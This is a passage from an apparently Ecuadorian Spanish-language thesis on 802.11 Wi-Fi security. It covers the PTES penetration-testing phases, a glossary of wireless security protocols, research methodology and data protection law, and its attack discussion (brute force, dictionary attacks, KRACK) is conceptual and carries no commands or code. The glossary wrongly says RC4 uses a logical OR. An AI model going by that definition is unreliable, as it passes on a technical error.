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RESUMEN

La seguridad de las redes inaldmbricas se ha convertido en una preocupacion
importante para nuestra sociedad en entornos tecnoldgicos. A medida que se
incrementa el uso de los dispositivos moviles ha aumentado, asi mismo lo hacen las
conexiones inaldmbricas para transmitir informacion critica, y es vital el resguardo
de los datos e informacion que circula por estas redes. Esta investigacion presenta
un robusto analisis de seguridad en redes 802.11 a través de la aplicacion de la
metodologia PTES orientada a la ciberseguridad con el objetivo de detener los
ataques cibernéticos que comprometen los datos a través de la violaciéon de la
confidencialidad, integridad y disponibilidad de estos, los efectos y causas detras
de los ataques cibernéticos a las redes inalambricas y las debilidades y

vulnerabilidades de los protocolos de seguridad.

Adicionalmente, se emplearan técnicas sofisticadas de hacking ético que permiten
proteger la seguridad de las redes. Se utilizaran los escenarios de pruebas y
simulaciones en el estudio de caso para determinar cuél de las técnicas, ataques y
herramientas es mas eficaz para su implementacion. También en base a los
resultados, se formularan la mejores recomendaciones y guias para la mejora de la

seguridad de las redes 802.11 y la minimizacion de los riesgos de su ataque.

Palabras claves: ciberseguridad, ataques informaticos, redes inalambricas, 802.11.
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ABSTRACT

The security of wireless networks has become an important concern for our society
in technological environments. As the use of mobile devices has increased, so have
wireless connections to transmit critical information, and safeguarding the data and
information that circulates through these networks is vital. This research presents
a robust security analysis in 802.11 networks through the application of the PTES
methodology oriented to cybersecurity with the objective of stopping cyber attacks
that compromise data through the violation of confidentiality, integrity and
availability of these , the effects and causes behind cyber attacks on wireless

networks and the weaknesses and vulnerabilities of security protocols.

Additionally, sophisticated ethical hacking techniques will be used to protect
the security of the networks. The test scenarios and simulations in the case study
will be used to determine which of the techniques, attacks and tools are most
effective for implementation. Also based on the results, the best recommendations
and guides will be formulated to improve the security of 802.11 networks and

minimize the risks of their attack.

Keywords: cybersecurity, computer attacks, wireless networks, 802.11.
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INTRODUCCION

El contexto de las redes inaldmbricas este estudio de analisis es basado en los
estandares principales 802.11, estos son conocidas como Wifi, esta tecnologia se ha
convertido en una herramienta que ofrece confort a los usuarios con sus dispositivos
en &mbitos comunicacion inalambrica. En general, estas redes presentan desafios e
incertidumbres por lo que son considerados en ambitos de seguridad algo
importante, en la mayoria de los casos son vulnerables y son vulnerables a tipos de

ataques cibernéticos.

Como mencionamos anteriormente esta investigacion se centra en realizar un
analisis de tipo auditoria en seguridad en redes inalambricas, asi mismo la
utilizacion de técnicas en ciberseguridad en ambientes controlados y seguros con
ayuda de las méaquinas virtuales. El objetivo de este trabajo de investigacion es
evaluar, analizar e identificar vulnerabilidades en los protocolos de comunicacion
inalambrica, de lo cual propone estrategias efectivas como el del desarrollo de
informe de recomendaciones para mitigar los riesgos y reforzar la proteccion de la

informacion que circula a través de estas redes.

Basado en un enfoque metodologico se dard cumplimiento con el estandar de
pruebas de penetracion PTES, se procedera mediante una interaccion previa,
recopilacion de informacion, modelado de amenazas, analisis de vulnerabilidad,
explotacion, post explotacion y reporte. Estos permitiran comprender una manera
puntual los puntos débiles de los protocolos de seguridad, las causa detrés de esta
investigacion fue principales por la falta seguridad en la construccion de las
contrasefias o claves de acceso. Desde cualquier punto de vista de los ataques
efectuados a las redes inalambricas pueden ser consideradas graves por lo que
pueden poner en riesgo la confidencialidad, integridad y disponibilidad de la

informacion.

La evaluacion de seguridad en este ambito controlado se volvié importante y
fundamental para reducir e identificar vulnerabilidades de una manera anticipada,
esto permitird salvaguardar diversos riesgos que cominmente son asociados a los

ciberatagues en ambientes inalambricas.
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CAPITULO 1. FUNDAMENTACION
1.1 ANTECEDENTES DEL PROYECTO

Las redes inaldmbricas comunmente se la denomina wifi, se ha vuelto importante
para diversos entornos como en negocios, hogares y sobre todo en espacios
publicos, esta convivencia con la tecnologia se ha convertido en soluciones de
conectividad adaptada a las necesidades de las personas, no obstante, se han
generado preocupaciones en que tan seguras son las redes inaldmbricas porque estas
presentan vulnerabilidades en comparacion con las redes alambricas, surge la
necesidad de darle una garantia en seguridad a las redes inalambricas es surgido por
lo que existe diversos ataques cibernéticos que por lo general son expuestas, como
ataques de fuerza bruta, atauques de diccionario e inclusos aplicacion de ingenieria

social[1].

Mediante el uso del internet se abre un abanico lo cual hace que aparezcan nuevas
tendencias tecnoldgicas tanto en el &mbito de seguridad y social de lo cual hace que
tengamos una mayor facilidad en nuestras vidas en diferentes ambitos, pero a su
vez el internet y las comunicaciones tienen sus ventajas y desventajas por lo que
hay que considerar técnicas y métodos con el fin de poder conocer este tipo, forma

0 manera en la que trabajan los ciberdelincuentes[2].

Es de suma importancia tratar este tipo de acciones que realizan los
ciberdelincuentes indispensablemente de que ataque informatico realicen, por lo
que cada ataque es considerado critico por el robo de datos personales, asi mismo
se considera el aspecto legal para quienes roban o hacen mal uso de la informacién

de usuarios[3].

El articulo cientifico tecnologico “Analisis de rendimiento de redes inalambricas
asistidas por RIS en presencia de errores de fase imperfectos” indica que, en un
ambiente de posibles amenazas, por lo que los dispositivos con sensores que
trasmiten datos en donde podrian ser aprovechados por los delincuentes
informaticos planeando ataques informaticos podrian dafiar la reputacién de las

empresas y de los usuarios[4].
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La tesis “Analisis de vulnerabilidad en la red LAN usando herramientas de hacking
ético para una empresa de la provincia de Santa Elena” en el &mbito de las
tecnologias, la informacion y los datos estan en constante evolucién por lo que las
empresas tanto privadas como publicas deben considerar proteger los sistemas de
seguridad de los ataques informaticos, en el momento de que los usuarios navegan
en internet los posibles ataques podrian ser de diferentes formas y aplicando
métodos por lo que pude poner en riesgos informacion como por ejemplos claves
de usuarios e incluso credenciales, el objetivo de este estudio es poder proporcionar
informacion a los usuarios de las amenazas mas comunes que podrian presentarse

en el momento de que algun usuario navega por una red privada o publica[5].

Por otro lado, la tesis “Andlisis De Vulnerabilidades De La Red Inalambrica Para
Mitigar La Inseguridad De Ataque Informaticos” nos dice en la actualidad se
recomienda tener las redes inaldmbricas seguras por motivo que amenazas
cibernéticas que estan cada dia evolucionando obligando a las empresas y a los
usuarios a tomar en consideraciones politicas basicas en la que permitan minimizar

ataques de caracter informético[6].

Es necesario tener conocimientos de como y cudles son los ataques mas frecuentes
de los ciberdelincuentes con el fin de poder contrarrestar o tratar de impedir que las
personas tengan algln tipo de altercado con este tipo de situacion, cabe mencionar
muchos de los ataques de robo de informacion es usada con fines a dafiar la

integridad social y emocional tanto a la persona u organizacion[7].

Los temas antes citados con fundamentacion tedrica son de gran ayuda para la
realizacion de este presente proyecto, la mayoria tienen distintas formas de realizar
o de proceder en la ejecucion del mismo, pero todos conllevan a alcanzar el mismo

objetivo que es tratar de mitigar ataques informaticos|[8].
1.2 DESCRIPCION DE PROYECTO

Al no estar vigente algun tipo de informacion clara y precisa a este tipo de
conectividad inalambrica wifi que afronte la seguridad de los datos, se ve muy
comprometido la integridad de los datos y sobre todo la falta de compromiso por
parte de las organizaciones, por la falta de tiempo en poder detectar anomalias que
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conlleven incidentes tanto en el robo de informacién, asi como otros percances
informaticos por lo que no hay una respuesta inmediata es por este motivo que surge
la necesidad de exponer un control y manejo en los ambitos de ciberseguridad,
realizado mediante la metodologia PTES de lo cual consta de una estructura con
bases de prueba de inteligencia con herramientas tecnoldgicas y técnicas orientadas
a poder valorar o estimar la seguridad de las redes inaldmbricas[9].

Las précticas de test de penetracidn estan plenamente relacionadas en ambientes en
donde existen una mayor relevancia en incidentes informaticos, por lo que se puede
conocer mediante un andlisis que tanto es la efectividad o el nivel de dafio que
podrian ocasionar estos tipos de ataques. Por ende, el estudio de técnicas de
seguridad debe ser preciso y que ademas por medio de buenas practicas, se pretende
disminuir la brecha que podrian existir en la seguridad en las redes wifi, este
proyecto se lo realizara mediante una metodologia PTES (Penetration Testing
Excecution Standard) de lo cual cuenta con las siguientes fases que contendra este

proyecto[10].
FASE 1: INTERACCION PREVIA
Definir alcance del proyecto:

- Identificar que las redes 802.11 seran objeto de analisis.

- Especificar el tipo de ataque.
Recursos:

- ldentificar hardware, software y herramientas de ciberseguridad.
Acuerdos y permisos:

- Obtener autorizaciones y permisos.

FASE 2: RECOLECCION DE INFORMACION

Recopilacion de informacion

Conectividad inalambrica

Debilidades més comunes a las redes.

Entorno tecnoldgico

FASE 3: MODELADO DE AMENAZAS
22



- Investigacion sobre ataques y amenazas en redes.

- Determinacion de facilidad de explotacion.
FASE 4: ANALISIS DE VULNERABILIDADES

- Deteccion, actividad, debilidades de cobertura, cifrado de red.

- ldentificaciones de redes inalambricas ocultas
FASE 5: EXPLOTACION

- Fuerza bruta

- Descifrar contrasefas
FASE 6: POST- EXPLOTACION

- Evaluar el alcance del ataque
- Evaluar acciones que se podrian realizar

- Busqueda de informacion personal
FASE 7: INFORME

- Anadlisis de la seguridad de la red

- Técnicas utilizadas

- Recomendaciones para una mayor seguridad
1.3 OBJETIVOS
1.3.1 OBJETIVOS GENERAL

Elaborar un analisis a los protocolos de seguridad a redes wifi con el fin de
disminuir ataques informaticos que atenten con la privacidad de los datos

personales mediante técnicas de ciberseguridad.

1.3.2 OBJETIVOS ESPECIFICOS

e Comparar las vulnerabilidades de los protocolos de comunicacion
inalambrica 802.11 para determinar el nivel de riesgo siguiendo el enfoque
PTES.

e Evaluar mediante el estandar PTES la efectividad de las herramientas de

hacking ético en el descifrado de contrasefias en redes inalambricas.
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e Desarrollar un informe de analisis de proteccion y recomendaciones en
redes inalambricas basada en la seguridad de la informacion.

1.4 JUSTIFICACION

Es primordial y necesario saber que la seguridad en las redes inalambricas de
conectividad wifi tiene sus riesgos por lo que se exponen los datos e informacion
crucial para las personas que se conectan a este tipo de redes, muy pocas personas
tienen el conocimiento del posible riesgo que toman a establecer una conexion de
sus dispositivos moviles o portatiles a dichas redes, gracias a este trabajo de
investigacion se podra disminuir amenazas y a soluciones de vulnerabilidad,

ademas es necesario tener conciencia sobre lo que es la seguridad informética[11].

Por lo cual nace esta investigacion con el Unico propésito de evaluar y analizar,
vulnerabilidades que posiblemente presenten los protocolos de seguridad en redes
inalambricas, ademas de poder alertar sobre ataques informaticos y posibles

intrusos dado que sus objetivos es poder vulnerar la seguridad[12].

Esta presente investigacion tendra una relevancia social que involucro a los duefios
y administradores de redes inalambricas por lo que veran beneficios en las
tecnologias dando una mejor seguridad de los datos y ademas vigilancia sobre
usuarios no reconocidos en la red. Ademéas de implicar pruebas de penetracion,
andlisis de redes y trafico de datos, es de mucha importancia social por lo que
involucra proteger informacion y privacidad, dichas medidas son indispensables

para poder disminuir riesgos de ataques de ciberdelincuentes[13].

Con esta investigacion obtendremos nuevos conocimientos en la que aseguremos
la informacion que circulan en las redes, esto servira como base para posteriores
estudios investigativos, este proyecto también engloba a realizar procedimientos de
buenas practicas que incorpore técnicas de aplicacion de hacking ético que ayuden
a evaluar la seguridad de las redes y por lo consiguiente evaluar el nivel de
incidencia, poder disminuir y solucionar amenazas que podrian realizar los
ciberdelincuentes, asi mismo tener beneficios como minimizar algun tipo de riesgo

de delito informaético, proteger datos privados que se podrian filtrar[14].

24



En la actualidad las redes inaldmbricas no son lo suficiente seguros a menos que
exista una configuracion adecuada de los equipos, es por esos que se considera
realizar un analisis exhaustivo sobre los diferentes escenarios sobre la problematica,
se pretende crear ambientes virtuales lo cual nos permitird evaluar la seguridad de
la red y ademas de los protocolos de conectividad con el fin de garantizar a los
usuarios la seguridad de sus datos cuando se navegue por una red, se considera dar
solucion de una manera sencilla y esencial para gestionar el correcto uso de las

comunicaciones inalambricas y la seguridad de la informacion[15].

El objetivo es proporcionar confianza, integridad y seguridad a las redes de
conectividad inalambrica, este estudio permite mejorar la seguridad y conocer sobre
nuevas formas de ataques informéaticos mas comunes, evaluar mediante técnicas de
seguridad informaética, medir el grado de efectividad que podria ocasionar ciertos
ataques, ademas identificar algunos puntos débiles en el proceso de andlisis de
seguridad[16].

OBJETIVOS DEL PLAN DE CREACION DE OPORTUNIDADES

La presente propuesta esta direccionado al plan de creacion de oportunidades,

haciendo énfasis al eje relevante, en la cual detalla lo siguiente[17]:
EJE SEGURIDAD INTEGRAL
Objetivo 6: Garantizar el derecho a la salud integral, gratuita y de calidad.

Politica 6.1-A8: Ampliar la cobertura de servicios para atender a las localidades
rurales, especialmente aquellas ubicadas en sitios alejados con baja conectividad a

los centros urbanos.

Objetivo 10.- Garantizar la soberania nacional, integridad territorial y seguridad del
Estado.

Politica 10.1: Fortalecer al estado para mantener la confiabilidad, integridad y
disponibilidad de la informacion frente a amenazas provenientes del ciberespacio y

proteger su infraestructura critica.
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1.5 ALCANCE DEL PROYECTO

La propuesta de andlisis de seguridad de a redes inalambricas por medio de técnica de
ciberseguridad, permitird realizar un andlisis profundo al momento de monitorear
anomalias en este tipo de redes de facil acceso, es por eso que mediante ambientes de
simulacion en méquinas virtuales que sean puestas a posibles vulnerabilidades con el fin

de poder exponer dichas brechas de seguridad en conectividades inalambricas wifi[18].

El desarrollo de esta investigacion se la realizara usando la metodologia PTES, se detallard
cada actividad que tendra la investigacion por lo cual tendremos una vision clara y precisa,
en esta primera fase de recoleccién de informacion nos centraremos en el levantamiento de
informacidén en donde la informacion recolectada se trata sobre los protocolos y estandares
conocer las debilidades, amenazas y vulnerabilidades comunes que podrian presentar las
redes inalambricas, en la segunda fase de analisis de vulnerabilidades analizaremos
mediante herramientas de hacking ético a las redes inalambricas, este tipo de analisis sera
de tipo auditoria, el resultado de esto es conocer informacion de la red como, nombre de la
red, si la red es visible o de configuracion oculta, el canal de frecuencia en que trabaja,
ademas la intensidad de sefial que emite la red entre otras caracteristicas[19].

En esta tercera fase se procederda mediante simulacion experimental técnicas de
ciberseguridad sobre algunas categorias orientadas a estudios, ademas proceder a disefiar
ambitos y escenarios en donde se ejecutaran pruebas en donde poder analizar las amenazas
posibles que se presenten en cada &mbito con entornos simulados, en donde evaluaremos
el tiempo que tarda el ciberdelincuente en realizar el ataque[20].

En esta cuarta y quinta fase se presentan diferentes formas y métodos de explotacién que
tiene como objetivo tener un mayor privilegio, es decir acceder a la red mediante un ataque
especifico fuerza bruta o denominado ataque de diccionario, es por eso que la informacion
gue podamos recopilar en la fase anterior, analizar de una manera mas detallada con el fin
de poder obtener datos de diferentes ambientes post- explotacion mediante andlisis de
técnicas[21].

En las ultimas fases se realizara un informe con los resultados que se han obtenido mediante
los analisis de la fase de explotacion y post explotacion, en donde se realiza la explicacion
de los diferentes escenarios los procesos realizados, dando resultados, recomendaciones y
observaciones de todas las practicas experimentales que se realiz6 en la presente

investigacion[22].
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CAPITULO 2. MARCO TEORICO Y METODOLOGIA
DEL PROYECTO
2.1 MARCO CONCEPTUAL

RC4.- Es un algoritmo esquematizado antiguo y obsoleto su funcionalidad era
mediante un cifrado simétrico, opera con un operador l6gico OR, que va de byte a
byte mediante procesos secuenciales de mensajes que varia segun claves dindmicas
este algoritmo se caracteriza por su facilidad, simplicidad y eficiencia, su seguridad

es cuestionada por recibir diversos ataques[23].

PSK. — Sus siglas en inglés (Pre shared key) o clave previamente compartida con
los dispositivos para que este tipo de conexion y la comunicacién sea segura y
estable, cuenta con un protocolo WPA que es una manera de autenticacion entre la
red y los dispositivos moviles asi mismo garantiza la confidencialidad y la
disponibilidad de los usuarios[24].

WEP. — Sus siglas en inglés (Wired Equivalent Privacy), la seguridad inalambrica
de este protocolo es obsoleto ademas utiliza un bajo nivel de seguridad, asi mismo
se considera alto en nivel de vulnerabilidad, este protocolo su caracteristica era
proporcionar un alto nivel de seguridad igual o similar a una red cableada,
funcionaba con claves estaticas hexadecimal de 64 o 128 bits[25].

WPA. — Sus siglas en inglés (Wi-Fi Protected Access) funciona mediante la gestion
de claves de seguridad y la autenticacion de usuarios, utilizando avanzados métodos
para verificar la identidad de cada dispositivo conectado, este protocolo incluye
integridad en sus mensajes con el objetivo de detectar paquetes que si son 0 no

alterados o modificados[26].

WPAZ2.- Sus siglas en inglés (Wi-Fi Protected Access 2) es la version mejorada de
WPA, es complicado realizarle un ataque y tener resultados positivos, funciona
mediante el cifrado de datos con AES (Advanced Encryption Standard) es un

sistema aprobado por el gobierno de los Estados Unidos[27].

PMK. — (Pairwise Master Key o Clave Maestra de Pareja) el PMK proporciona por
medio de claves un proceso de autenticacion Unica ademas de que es esencial para

proporcionar una conexion segura y eficaz entre el usuario y el punto de acceso AP,
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garantiza la confidencialidad y la integridad de los datos que se transmiten en la red
inaldmbrica[28].

MIC. —(Message Integrity Check o Comprobacién de Integridad de Mensajes) Es
un codigo de integridad que utilizan los mensajes es importante para verificar la
autenticidad de los datos transmitidos, Esta funcion es crucial para mantener la
seguridad y la confiabilidad de la comunicacion en redes inalambricas, ya que
ayuda a detectar posibles intentos de intrusién o manipulacion de datos durante la

transmision inalambrica[29].

CCMP. — (Protocolo de modo de contador con cifrado de bloque encadenado y
codigo de autenticacion de mensaje) utiliza un algoritmo de cifrado basado en una
clave y algoritmo de autentificacion que permiten la proteccion de los datos en la
red, es esencial para detectar manipulaciones o suplantaciones de datos en la red,
ademas de que este algoritmo proporciona una seguridad robusta en dichas redes

inalambricas[30].

BEACON FRAMES. — Son envios de paquetes hacia un punto de acceso la misma
que contiene informacion sobre la red Wi-Fi, permitiendo a que los dispositivos
cercanos puedan identificar el SID, detectar el nivel de sefial y la cercania entre
otras caracteristicas emitidas por la red, lo cual facilita la movilidad y la
conectividad[31].

KRACK. — "Key Reinstallation Attacks" o "Ataques de Reinstalacion de Clave",
Es considerado un ataque critico que compromete gravemente la seguridad de las
redes WPA2/AES mediante reinstalacion de claves o de cifrado, se basa en explotar
la debilidad del handshake lo que permite a los atacantes acceder y espiar el trafico

de la red sin considerar conocer algun tipo de contrasefia[32].

TKIP. - es un protocolo de seguridad con mayor seguridad a WEP, TKIP estos
aspectos importantes que son clave para una mejor proteccion de los datos mediante
la autentificacion de cuatro vias de lo cual realiza una verificacion para el cliente
en el sitio de acceso wifi con una misma clave, vector de inicializacién utiliza una
longitud de 48 bits, el mismo que hace posible que la clave de acceso sea
modificada[33].
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AES. — sus siglas en inglés (Advanced Encryption Standard o Estandar de Cifrado
Avanzado) fue creado con el objetivo de para mitigar incidencias o acciones
prohibidas, cuenta con un cifrado en bloques, simetria y longitud en sus claves
mayor a 128 bits y también trabaja con el algoritmo Rijndael que es un cifrado de

tipo bloques seguro y eficiente[34].

Handshake. —utiliza procesos de autentificacion que involucra al cliente en la
manera de como verificar datos correctos lo cual garantiza una conexion confiable
y segura, también podemaos referirnos a los protocolos que utilizan para establecer

una conexion que involucra la verificacion de la identidad de los dispositivos[35].

WLAN. — sus siglas en inglés (Wireless Local Area Network) su manera de
comunicacion la realiza de manera inalambrica los dispositivos se pueden conectar
mediante una red wifi, lo que permiten la conexion inalambrica de los dispositivos
a través de ondas de radiofrecuencia, lo que brinda movilidad a los usuarios al
eliminar la necesidad de cables fisicos[36].

LAN. — sus siglas en inglés (Local Area Network), considerada como una red de
comunicacion que permite la conexion de dispositivos en un lugar limitado, utiliza
una conexion de una manera cableada entre los dispositivos, estas redes permiten a
los dispositivos comunicarse entre si, compartir informacion y recursos, y acceder
a Internet de forma local, ademés que proporciona altas velocidades de
transferencia de datos, baja latencia, mayor seguridad, facilidad de instalaciéon y

mantenimiento[37].

2.2 MARCO TEORICO
2.2.1 ;QUE ES LA CIBERSEGURIDAD?

Ciberseguridad es considera como practicas a defender de las computadoras,
dispositivos maviles entre otros en diferentes ambitos, también se la conoce como
la seguridad de la informacion electronica o seguridad de tecnologia de la
informacidn, es considerada aplicable a ciertas categorias orientadas a esta rama de
la ciberseguridad como, por ejemplo, seguridad en redes, aplicaciones y seguridad

de la informacion[38].
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Asi mismo la ciberseguridad se la denomina y es considerada como la seguridad
informatica respectivamente seguridad de la informacion electrénica, por otro lado,
es una forma de proteger contra ataques informaticos de personas llamadas

ciberdelincuentes[39].
La ciberseguridad cuenta con diferentes objetivos, detallados a continuacion:

a. Garantizar la confidencialidad
b. Mantener una disponibilidad
c. Preservar la integridad
2.2.2 ;QUE SON LAS REDES INALAMBRICAS 802.11?

Las redes inalambricas 802.11 hacen referencias a estandares y de protocolos de
comunicacion IEEE, utilizan tecnologia de wifi lo cual permite la transmision de
informacién y de datos mediante sefiales de frecuencias con multiples dispositivos
sin necesidad de tener medios fisicos. Estas redes operan en diferentes bandas de
frecuencia como 2.4 GHz y 5 GHz esto permite alcanzar grandes coberturas y
velocidades[40].

2.2.3 ATAQUES INFORMATICOS EN REDES

Las comunicaciones y las tecnologias han logrado que una gran cantidad de
computadoras o dispositivos moviles puedan establecer comunicacién entre ellas,
como ejemplo practico podriamos poner a una institucion trabajando de una manera
activa con la utilizacion de herramientas tecnolégicas envien informacion a
diferentes destinatarios. Ataques a un grupo de usuarios o a una institucion podria
ser devastador y peligroso por lo que ocasionaria que se interrumpan servicios que

son esenciales para la red[41].

Por lo general las redes inalambricas wifi son propensos a maltiples ataques como
Denegacion de Servicios, este ataque puede tener diferentes consecuencias como:
falsificacion de direcciones o de inundacion IP, esto podria controlar un sin
nameros de quipos o dispositivos que estén conectados a la red logrando que los

equipos estén o permanezcan en modo botnet 0 zombis[42].
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2.2.4 VULNERABILIDADES EN REDES INALAMBRICAS

Las redes inalambricas cuentan con muchas ventajas, una de ellas y como principal
que es la movilidad, por lo que no depende de algun medio fisico como lo es la
conectividad por cable. Estas redes no estan explicitamente ligado a una ubicacion
estatica fija por lo que la transmision puede rotar dependiendo de los limites de
conectividad permitidos por los equipos de transmision[43]. El internet se ha
actualizado hoy en dia existe el internet movil el mismo que permite que varios
dispositivos puedan acceder a este tipo de redes privadas o publicas, pero asi mismo

existen amenazas a estas redes por lo que afectaria considerablemente[44].
2.2.5 ANALISIS DE SEGURIDAD

El andlisis de seguridad en redes inalambricas implica una evaluacion de manera
sistematica que involucra controles para la identificacién de vulnerabilidades y la
implementaciéon de medidas de mitigacion incluyendo otros factores. Esto podria
incluir el uso de herramientas Utiles para procesos de escaneo, analisis de trafico,

pruebas de penetracion[45].
2.2.6 TECNICAS DE CIBERSEGURIDAD

Existen muchas técnicas de ciberseguridad y se las pueden aplicar en el contexto de
las redes inalambricas para abordar los desafios de importantes de seguridad. Estas
incluyen el uso de técnicas de control de acceso, autenticacion, deteccion cifrado y
prevencion de intrusos, asi como técnicas avanzadas de andlisis de trafico o de

correlacion de eventos[46].
2.2.7 AMBIENTE CONTROLADO

Estos tipos de ambiente permiten la evaluacion de la seguridad en redes
inalambricas permitiendo realizar pruebas y anlisis de manera mas segura y
controlada, sin afectar la estabilidad de la red. Esto facilita la validacion de
controles de seguridad e identificacion de vulnerabilidades y sobre todo la
implementacion de medidas que permiten mitigacion sin riesgos que afecte a la red
local[47].
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2.2.8 ATAQUE DE FUERZA BRUTA

Un ataque de fuerza bruta consiste en probar pruebas a todas las posibles
combinaciones de caracteres, claves o contrasefias que podrian existir para tratar de
acceder a la red. Este ataque se centra en intentar todas las posibilidades hasta dar
con la correcta, por lo que puede ser muy efectivo, pero también extremadamente

lento y agotar los recursos[48].
2.2.9 ATAQUE DE DICCIONARIO

Es un ataque que, a diferencia de la fuerza bruta, utiliza un listado previamente
generado que se pudo haber realizado de una manera automatica o manual en la
contiene palabras, frases o combinaciones comunes lo que permitiria adivinar las
contrasefias. EI método practicamente es basado a la informacion de mucha persona
por lo que suelen utilizar contrasefias que son palabras o combinaciones comunes,

lo que las hace més vulnerables a este tipo de ataques[49].
2.3 METODOLOGIA DE PROYECTO

Esta investigacion contempla andlisis de tipo de estudio explicativo, por lo que hace
énfasis a realizar un estudio enfocado a las redes de comunicacion inalambrica,
engloba aspectos importantes en la cual servira de mucho en base a un analisis de
técnicas de seguridad informatica en la deteccidon de anomalias en lared y tener un
enfoque cualitativo sobre la investigacion recopilada, esta presente investigacion se
la realizard mediante referencias bibliograficas fundamentadas de otros trabajos que
tengan relevancias y que esté acorde a la propuesta de investigacion planteada para

su posterior ejecucion[50].

2.3.1 METODOLOGIA DE INVESTIGACION
METODOLOGIA O ESTUDIO DIAGNOSTICO

Este tipo de estudio toma como referencia a investigaciones que engloben todos los
conocimientos necesarios y esenciales con el fin de poder determinar el lugar o sitio
en donde se encuentre el tipo de problema o situacion anémala, para poder realizar
un soporte en el momento de realizar alguna toma de decisiones sobre el
estudio[51].
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METODOLOGIA O ESTUDIO EXPLORATORIO

Una metodologia exploratoria se rige en una vision completa de las cosas que estan
sucediendo o la forma de interpretar informacion de una manera aproximativa, con
respecto a una determinada situacion, este tipo de estudio exploratorio se la utiliza
cuando se ha seleccionado el tema poco investigado, ademas que el objetivo de este
método es explorar, descubrir nuevas investigaciones es decir preparar el camino
para futuras investigaciones, que para nuestro caso en el ambito de

ciberseguridad[52].

2.3.2 TECNICAS E INSTRUMENTOS DE RECOLECCION DE
DATOS

Se detallara a continuacion de manera clara y puntuada las técnicas e instrumentos

para la recoleccién de informacion.
TECNICAS
Técnica de observacion documental

La técnica de observacion documental es recurrir a informacion escrita de datos de
otras investigaciones, ademas se consideran como mediciones producidas por el
observador, esta técnica tiene propdsitos exploratorios adaptable de acuerdo con el
investigador, ademas de que el observador se rige a las normas de una sociedad lo

que equivale a poder reconocer y aceptar limites de la investigacién[53].
INSTRUMENTOS

Ficha de observacion[54].

VARIABLE

» Tiempo que le toma al ciberdelincuente en poder burlar la seguridad

aplicando técnicas de seguridad informatica.

Se mediréa el tiempo en la ejecucion mediante herramientas de hacking ético, por lo

que no existe un tiempo estimado para la realizacion de estos procesos.
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2.3.3 METODOLOGIA DE DESARROLLO

PTES es una metodologia muy conocida e implementada para un test de
penetracion informatica por lo que involucra estudios experimentados con el fin de

brindar un analisis seguro. Por ende, este proyecto seguira la metodologia que

cuenta con las siguientes fases mencionadas[55].

FASE 1 INTERACCION PREVIA
FASE 2 RECOLECCION DE INFORMACION

FASE 4 ANALISIS DE VULNERABILIDADES

FASE 5 EXPLOTACION

FASE 7 INFORME

Figura 1. Fases de las etapas PTES

Con la informacion recolectada de los estandares y protocolos, ademéas podremos
tratar de aplicar que clase de ataque o herramienta de hacking adecuado para el
posterior analisis de vulnerabilidad, en esta fase se analiza las vulnerabilidades
posibles que podria tener la red, es decir informacion necesaria para poder aplicar
alguna técnica u herramienta de hacking ético, con estos conocimientos de la red

podriamos comprometer a las redes de tipo inalambricas[56].

La fase de explotacion implica explorar cada brecha posible con el fin de encontrar
algun acceso personal y confidencial, es decir conocer contrasefias e incluso
conocer informacion de los dispositivos que se conectan a la red y por ende saber a
quién pertenece cada dispositivo, también esta fase casi no es necesario aplicarla
por lo que consiste en lograr obtener credenciales e informacion confidencial de

suma importancia[57].

En esta Ultima fase se elabora un informe en donde se detallan las conclusiones de
todas las practicas que se realizaron, ademas de detallar novedades de los resultados
técnicos, ademas de realizar recomendaciones de seguridad a estos tipos de

conectividad de manera publica[58].
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2.4 MARCO LEGAL
2.4.1 LEY ORGANICA DE PROTECCION DE DATOS PERSONALES

La ley organica del Ecuador establece lo siguiente sobre la proteccion de los datos
personales los mismos que son relacionados con el presente proyecto

investigativo[59].

Art. 9.-Interés legitimo. -Cuando el tratamiento de datos personales tiene como

fundamento el interés legitimo:

a) Unicamente podran ser tratados los datos que sean estrictamente necesarios para

la realizacion de la finalidad.
b) El responsable debe garantizar que el tratamiento sea transparente para el titular.

c) La Autoridad de Proteccion de Datos puede requerir al responsable un informe
con (sic) de riesgo para la proteccion de datos en el cual se verificara si no hay
amenazas concretas a las expectativas legitimas de los titulares y a sus derechos

fundamentales.
CAPITULO Il (PRINCIPIOS)

J) Seguridad de datos personales. -Los responsables y encargados de tratamiento de
los datos personales deberan implementar todas las medidas de seguridad
adecuadas y necesarias, entendiéndose por tales las aceptadas por el estado de la
técnica, sean estas organizativas, técnicas o de cualquier otra indole, para proteger
los datos personales frente a cualquier riesgo, amenaza, vulnerabilidad, atendiendo

a la naturaleza de los datos de caracter personal, al &mbito y el contexto.

TRANSFERENCIA O COMUNICACION Y ACCESO A DATOS
PERSONALES POR TERCEROS

Art. 33.-Transferencia o comunicacion de datos personales. -Los datos personales
podran transferirse 0 comunicarse a terceros cuando se realice para el cumplimiento
de fines directamente relacionados con las funciones legitimas del responsable y
del destinatario, cuando la transferencia se encuentre configurada dentro de una de
las causales de legitimidad establecidas en esta Ley, y se cuente, ademas, con el

consentimiento del titular.
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Se entenderd que el consentimiento es informado cuando para la transferencia o
comunicacion de datos personales el responsable del tratamiento haya entregado
informacién suficiente al titular que le permita conocer la finalidad a que se
destinaran sus datos y el tipo de actividad del tercero a quien se pretende transferir

0 comunicar dichos datos.

Art. 35.-Acceso a datos personales por parte de terceros. -No se considerara
transferencia o comunicacion cuando el acceso a datos personales por un tercero
sea necesario para la prestacion de un servicio al responsable del tratamiento de
datos personales. El tercero que ha accedido a datos personales en estas condiciones

debio hacerlo legitimamente.

El tratamiento de datos personales realizado por terceros debera estar regulado por
un contrato, en el que se establezca de manera clara y precisa que el encargado del
tratamiento de datos personales tratara Unicamente los mismos conforme las
instrucciones del responsable y que no los utilizara para finalidades diferentes a las
sefialadas en el contrato, ni que los transferird 0 comunicara ni siquiera para su

conservacion a otras personas.

Una vez que se haya cumplido la prestacion contractual, los datos personales
deberan ser destruidos o devueltos al responsable del tratamiento de datos

personales bajo la supervision de la autoridad de proteccion de datos personales.

El tercero seré responsable de las infracciones derivadas del incumplimiento de las
condiciones de tratamiento de datos personales establecidas en la presente Ley.

Art. 37.-Seguridad de datos personales. -El responsable o encargado del tratamiento
de datos personales segun sea el caso, debera sujetarse al principio de seguridad de
datos personales, para lo cual debera tomar en cuenta las categorias y volumen de
datos personales, el estado de la técnica, mejores practicas de seguridad integral y
los costos de aplicacion de acuerdo a la naturaleza, alcance, contexto y los fines del

tratamiento, asi como identificar la probabilidad de riesgos.
SEGURIDAD DE DATOS PERSONALES

El responsable o encargado del tratamiento de datos personales, debera

implementar un proceso de verificacion, evaluacion y valoracion continua y
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permanente de la eficiencia, eficacia y efectividad de las medidas de carécter
